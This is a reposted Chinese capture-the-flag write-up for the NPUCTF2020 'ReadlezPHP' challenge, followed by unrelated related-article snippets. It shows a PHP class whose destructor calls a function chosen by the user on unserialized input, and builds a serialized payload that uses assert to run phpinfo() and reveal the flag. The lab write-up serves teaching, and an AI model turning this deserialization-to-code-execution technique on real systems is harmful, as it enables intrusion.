[NPUCTF2020]ReadlezPHP

news/2024/11/15 0:33:14/文章来源:https://www.cnblogs.com/m1saka1/p/18537467

打开靶机,看看情况

右键想看源代码没反应,关掉设置里的JavaScript即可查看源代码

点进去看看发现源码

<?php
#error_reporting(0);
class HelloPhp
{public $a;public $b;public function __construct(){$this->a = "Y-m-d h:i:s";$this->b = "date";}public function __destruct(){$a = $this->a;$b = $this->b;echo $b($a);}
}
$c = new HelloPhp;if(isset($_GET['source']))
{highlight_file(__FILE__);die(0);
}@$ppp = unserialize($_GET["data"]);

类里有两个魔术方法,很贴心已经帮你创建好了这个类,所以不用看__construct()函数,剩下的__destruct()函数就是对类里的a,b属性进行赋值,利用点 $b($a),这格式很明显,b传一个执行函数,a传命令,不过这里值得注意,eval()函数括号里必须是双引号,形如eval(phpinfo())是不合法的,所以这里我们可以用另一个执行函数assert(),assert()函数会执行括号里的命令,形如assert(phpinfo())是合法的。

我们构建反序列化语句

<?php
class HelloPhp
{public $a='phpinfo()';public $b='assert';}
$c = new HelloPhp;
echo(serialize($c));

得到payload:?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}


这里找了半天flag,查了下资料才发现flag就在phpinfo里,cltr+f搜索flag得到flag

flag{a484fcf9-e915-45a7-a096-eec42e079686}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/829561.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

gigapath部署以及微调全过程

0.0 什么是gigapathgigapath是一个由微软开发的数字病理学全玻片基础模型,用于从高分辨率图像(如病理切片图像)中提取和处理信息的深度学习模型架构。 图中分为abc三个部分 a 首先输入一张高清的病理图像,我们将它拆分成256*256的图像切片,从而可以逐块处理。 每个图像块会…

【剑侠情缘2网络版单机安装教程】算是完美吧大多数开服用得端+附GM

为了学习和研究软件内含的设计思想和原理,本人花心血和汗水带来了搭建教程!!! 教程不适于服架设,严禁服架设!!!请牢记!!! 教程仅限学习使用,禁止商用,一切后果与本人无关,此声明具有法律效应!!!! 教程是本人亲自搭建成功的,绝对是完整可运行的,踩过的坑都给…

Playwright使用Typescript实现在测试case文件中调用另一个文件中的方法

前提: (1)安装了nodejs (2)创建了测试目录 (3)使用Vscode安装了Playwright插件 可以参考官方文档:https://playwright.dev/docs/getting-started-vscode在vscode界面最左侧的按钮选择Explorer, 创建一个与tests目录同级的目录methods,并在methods目录下创建文件method…

#2024-2025-1学号20241309《计算机基础与程序设计》第七周学习总结

作业信息这个作业属于哪个课程 2024-2025-1-计算机基础与程序设计这个作业要求在哪里 2024-2025-1计算机基础与程序设计第七周作业这个作业的目标作业正文 2024-2025-1学号20241309《计算机基础与程序设计》第七周学习总结教材学习内容总结 《计算机科学概论》第八章: 抽象数据…

八、Spring Boot集成Spring Security之前后分离认证最佳实现对接测试

本文介绍前后分离认证最佳实现的对接测试,使用postman或者其他熟悉的测试工具,配合最佳流程介绍和实现效果更佳!!!前言 本文介绍前后分离认证最佳实现的对接测试,使用postman或者其他熟悉的测试工具,配合以下内容观看效果更佳!!!什么是前后分离认证流程最佳方案,为什…

考研打卡

开局(12) 开始时间 2024-11-09 20:49:42 结束时间 2024-11-09 22:43:03睡了一整天,好难受数据结构已知有向图G=(V,E),其中V={a,b,c,d,e,f,g}, E={<a,b>,<a,c>,<a,d>,<b,e>,<c,e>,<c,f>,<d,f>,<e,g>…

【算法】状态压缩DP

基本内容入门例子 USACO06NOV] Corn Fields G - 洛谷 | 计算机科学教育新生态题目简述:在一个\(N\times M\)的玉米田中种玉米,有一些坏掉的土地是不能种玉米的,另外相邻的两个田也不可以种,一共有多少种种植方案(荒地也算一种),如图所示,由于相邻的土地不能种植,此时…

ExtentReport报告配置

添加依赖<dependency><groupId>org.testng</groupId><artifactId>testng</artifactId><version>6.10</version></dependency><dependency><groupId>com.relevantcodes</groupId><artifactId>extentre…

教资成绩出来了,果然没有全过

教师资格证考试成绩出来了,有一科没有过, 出乎我的意料,我以为全军覆没了。马上38了,自己也算大龄程序员了。所以今年开始就一直在考虑退路了。 思来想去,关注到了信奥这个赛道。4月份公众号开始发信奥相关的文章,也在教资报名的时候去报了个名,想着有个教资证书,也能给…

Toyota Programming Contest 2024#11(AtCoder Beginner Contest 379)题解

Toyota Programming Contest 2024#11(AtCoder Beginner Contest 379)题解 总体情况A - Cyclic 题意 给你一个三位整数 \(N\) ,其中每个数字都是介于 \(1\) 和 \(9\) 之间的整数。 设 \(a\) , \(b\) , \(c\) 分别是 \(N\) 的百位、十位和个位数。打印一个按此顺序排列 \(b\) …

了解python

Python前世今生 Python 是由荷兰数学与计算机科学研究中心的吉多.范罗苏姆(Guido von Rossum)于1990年代初设计,作为对ABC语言的替代品。1989年圣诞节Guido开始编写Python语言的编辑器。2008年12月Python3.0发布。 优点 简单易学:Python在编程语言中比较适合新手学习,是一种…

rocky 安装gnome extension

rocky 9,没有任务栏,不好看,而且也不好用,每次切换应用都需要从左上角的 activity 处进入1. 首先需要安装 gnome.Extensions 可以通过 sudo yum install gnome-tweaks ,但是我试了,这个里面没有我想要配置的,可能需要更新新版本 2. 更新版本 需要安装 flatapk,参考 htt…